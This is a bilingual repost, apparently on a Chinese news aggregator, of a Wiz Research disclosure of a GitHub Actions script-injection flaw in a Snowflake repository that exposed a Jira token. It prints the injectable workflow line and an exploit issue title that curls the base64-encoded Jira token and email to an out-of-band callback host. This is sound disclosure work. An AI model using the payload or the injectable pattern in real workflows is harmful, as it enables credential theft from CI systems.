跳到主内容
@wquguru
精选85Hacker News Best（web_list）行业动态

Wiz Red Agent攻破Snowflake Jira：AI

AI生成Autofix致Snowflake Jira被攻破

原文
推荐理由

安全研究者和DevOps同学必看：这是AI编码助手引入真实漏洞、又被AI安全代理自主发现利用的完整实战案例，含漏洞根因、利用细节和修复方案，值得收藏复盘。

As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.

作为通过Snowflake的HackerOne漏洞披露项目进行的持续安全研究的一部分，Wiz Research的“Red Agent”——一种自主的、由AI驱动的安全研究工具——在Snowflake的一个公共仓库中识别出了一个关键的GitHub Actions工作流漏洞。

This incident highlights a new reality in software development: Critical vulnerabilities can still be introduced and approved within workflows involving AI coding agents, while autonomous AI security agents can rapidly discover and exploit them in the wild.

此事件凸显了软件开发中的新现实：在涉及AI编码代理的工作流中，关键漏洞仍可能被引入并批准，而自主AI安全代理则能在野外迅速发现并利用它们。

Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted.

在Wiz于2026年6月23日负责任地披露后，Snowflake当天修复了该漏洞，轮换了受影响的凭据，并通过详细的审计日志验证，在暴露窗口期间Wiz是唯一的操作者。Wiz确认，在概念验证测试期间访问的所有数据均已安全删除。

August 17, 2026, 1957 UTC update: This blog has been updated to clarify that Copilot was a co-author that checked the merged PR and code change, and identified it as all-clear without noticing the critical vulnerabilities. It's unclear whether the code-change was AI-assisted.

2026年8月17日，UTC时间1957更新：本博客已更新，以澄清Copilot是检查合并的PR和代码更改的共同作者，并将其标记为一切正常，而未注意到关键漏洞。目前尚不清楚代码更改是否由AI辅助。

Executive Summary

执行摘要

Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title.

Wiz Red Agent在snowflakedb/snowflake-connector-net中识别出了一个脚本注入漏洞。该问题允许未认证用户通过打开一个标题经过特殊构造的GitHub问题，在GitHub Actions运行器内执行任意命令。

Crucially, the vulnerability became live on June 18, 2026 - just five days before its discovery -when PR #1218 was merged. The final squash commit credits “Copilot Autofix powered by AI” as a co-author. The merged PR replaced the repository’s sanitized input pattern with direct string expansion, yet GitHub’s AI-assisted security review did not flag the resulting critical vulnerability.

关键的是，该漏洞于2026年6月18日——即发现前五天——在PR #1218被合并时生效。最终的压缩提交将“由AI驱动的Copilot Autofix”列为共同作者。合并的PR将仓库的净化输入模式替换为直接字符串扩展，但GitHub的AI辅助安全审查并未标记由此产生的关键漏洞。

Screenshot demonstrating access to Snowflake's Jira portal, via an exfiltrated token

截图展示了通过泄露的令牌访问Snowflake的Jira门户。

Exposure Walk-Through

暴露过程详解

Discovery

发现

Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in run: blocks.

Wiz Red Agent的CI/CD能力扫描了Snowflake的GitHub组织，并标记了snowflakedb/snowflake-connector-net中的jira_issue.yml工作流，认为其容易受到通过run:块中不可信输入的脚本注入攻击。

The Code Change

代码更改

代码 · 4 行
- env:
  - ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
代码 · 4 行
- env:
  - ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

The workflow triggered on issues: opened - meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script:

该工作流在issues: opened时触发——意味着任何GitHub用户都可以通过打开一个问题来触发它——并将攻击者控制的问题标题直接插入到shell脚本中：

代码 · 1 行
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
代码 · 1 行
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

The sed escaping runs after GitHub's template expansion, a single quote in the title breaks out of echo '...' and allows arbitrary command execution.

sed转义在GitHub模板扩展之后运行，标题中的单引号会跳出echo '...'，从而允许执行任意命令。

The injectable pattern was introduced just days earlier, on June 18, 2026, commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”) - co-authored by Copilot Autofix powered by AI.

可注入模式仅在几天前引入，即2026年6月18日，提交4a1b8ce（PR #1218：“SNOW-2069227：更新jira工作流”）——由AI驱动的Copilot Autofix共同编写。

The commit introducing the vulnerable pattern

引入易受攻击模式的提交

It removed the repository’s existing safe pattern, which passed the issue title through an env: variable and built the JSON payload with jq. Instead it used the direct ${{ github.event.issue.title }} interpolation shown above. In other words, an AI “autofix” commit created the very injection vector.

该提交移除了仓库现有的安全模式，该模式通过env:变量传递问题标题，并使用jq构建JSON负载。相反，它使用了上面所示的直接${{ github.event.issue.title }}插值。换句话说，一个AI“自动修复”提交创建了注入向量本身。

The code change introducing the vulnerable pattern

引入易受攻击模式的代码更改

The Open “Security Gate”

开放的“安全门”

The workflow had an if: condition that appeared protective:

工作流有一个看似具有保护性的if:条件：

代码 · 1 行
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
代码 · 1 行
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

However, on issues events, github.event.pull_request is always null.

然而，在issues事件中，github.event.pull_request始终为null。

So the condition reduces to (null != 'whitesource-for-github-com[bot]'). This is always true, and every GitHub user passes the gate.

因此，该条件简化为(null != 'whitesource-for-github-com[bot]')。这始终为真，每个GitHub用户都能通过此门。

The Open “Security Gate”

开放的“安全门”

Exploitation

利用

We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback:

我们精心构造了一个问题标题，在模板展开后，跳出echo字符串，并通过带外回调泄露Jira凭据：

Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character (#), the runner returned a bash syntax error because the comment consumed the closing parenthetical of TITLE=$(...). Rather than stopping or failing, Red Agent:

关键的是，当Red Agent的cicd能力最初尝试使用标准注释字符(#)进行泄露时，运行器返回了一个bash语法错误，因为注释消耗了TITLE=$(...)的右括号。Red Agent没有停止或失败，而是：

  • autonomously analyzed the syntax execution error
  • adjusted its payload to use ; echo ' to properly close the shell block, and
  • successfully received the out-of-band callback
  • 自主分析了语法执行错误
  • 调整其负载，使用; echo '来正确关闭shell块，并且
  • 成功接收了带外回调
代码 · 1 行
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
代码 · 1 行
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP 20.106.182.197) containing base64-encoded credentials.

几秒钟内，我们的监听器从GitHub Actions运行器（Azure IP 20.106.182.197）收到了包含base64编码凭据的回调。

The POC PR with payload in the Issue title

带有问题标题中负载的POC PR

Note: Our first attempt used # to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing ) of TITLE=$(...). The fix was using ; echo ' to properly close the shell syntax.

注意：我们的第一次尝试使用#注释掉行的其余部分，这导致了意外的EOF bash错误，因为它也消耗了TITLE=$(...)的右括号。修复方法是使用; echo '来正确关闭shell语法。

The workflow log showing successful exploitation

显示成功利用的工作流日志

The exfiltrated token linked to [email protected]

泄露的令牌链接到[email protected]

The exfiltrated token authenticated as [email protected] to snowflakecomputing.atlassian.net, granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.

泄露的令牌以[email protected]身份认证到snowflakecomputing.atlassian.net，授予对Snowflake工程、安全合规和漏洞赏金跟踪项目的读取访问权限。

Remediation & Forensics

修复与取证

  • Same-Day Patching: Snowflake patched the workflow on June 23, 2026 (1dc7766, PR #1402), fully restoring the safe env: variable and jq --arg parsing pattern.
  • Credential Revocation: The JIRA token in question was revoked and rotated.
  • Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs.
  • 当日修补：Snowflake于2026年6月23日修补了工作流（1dc7766，PR #1402），完全恢复了安全的env:变量和jq --arg解析模式。
  • 凭据撤销：相关JIRA令牌已被撤销并轮换。
  • 法证验证：全面的审计日志分析确认，在5天的暴露窗口期内，没有任何外部第三方访问过该端点。所有异常查询均严格匹配Wiz的测试IP。

Key Takeaways

关键要点

  • AI Code Generation Demands Rigorous Oversight: AI coding tools predict code based on probabilistic patterns, which can inadvertently reintroduce deprecated or insecure shell patterns. AI-generated PRs must undergo the same static analysis and security scrutiny as human code.
  • Collapsing Discovery Windows: The vulnerability was live for only five days before an automated agent discovered and validated it. Security operations must adapt to a landscape where automated discovery occurs in hours, requiring rapid patch cycles and short-lived credentials.
  • Preventing AI Security Regressions: Automated AI assistants often lack historical context regarding why specific code patterns were chosen. In this incident, an automated PR removed a safe env: + jq parsing pattern that had been explicitly implemented to prevent shell injection. Security teams must implement Guardrails that block AI agents from replacing structured data parsers with direct string interpolation.
  • AI代码生成需要严格监督：AI编码工具基于概率模式预测代码，这可能会无意中重新引入已弃用或不安全的shell模式。AI生成的PR必须经过与人类代码相同的静态分析和安全审查。
  • 缩短发现窗口：漏洞仅存活了五天，就被自动化代理发现并验证。安全运营必须适应自动化发现以小时计的环境，要求快速补丁周期和短期有效的凭据。
  • 防止AI安全回归：自动化AI助手通常缺乏关于为何选择特定代码模式的历史背景。在此事件中，一个自动化的PR移除了一个安全的env: + jq解析模式，该模式是明确为防止shell注入而实现的。安全团队必须实施护栏，阻止AI代理用直接字符串插值替换结构化数据解析器。

Disclosure Timeline

披露时间线

  • June 18, 2026 - The vulnerability became live when PR #1218 was merged, co-authored by Copilot Autofix
  • June 23, 2026 - Wiz identified, exploited, and reported vulnerability to Snowflake via HackerOne (report #3819931)
  • June 23, 2026 - Slack notification sent to Snowflake security team
  • June 23, 2026 (same day) - Snowflake patches the vulnerable script-injection workflow (commit 1dc7766, PR #1402), restoring the safe env: + jq --arg pattern.
  • June 24, 2026 - Jira token rotated
  • July 25, 2026 - Public disclosure deadline (30 days after the June 25 resolution, per Snowflake’s disclosure policy)
  • 2026年6月18日 - 漏洞在PR #1218合并后生效，该PR由Copilot Autofix共同编写
  • 2026年6月23日 - Wiz通过HackerOne（报告#3819931）识别、利用并向Snowflake报告了该漏洞
  • 2026年6月23日 - 向Snowflake安全团队发送了Slack通知
  • 2026年6月23日（同日） - Snowflake修补了易受攻击的脚本注入工作流（提交1dc7766，PR #1402），恢复了安全的env: + jq --arg模式。
  • 2026年6月24日 - Jira令牌已轮换
  • 2026年7月25日 - 公开披露截止日期（根据Snowflake的披露政策，在6月25日解决后30天）

Snowflake’s Response

Snowflake的回应

更进一步：量化金融体系

看懂新闻只是起点——沿量化金融路径，把它变成能交付的工程能力

进入量化体系 →
话题#Wiz#Snowflake#AI安全#GitHub Actions#Copilot Autofix

相似阅读

另一事件，读法相近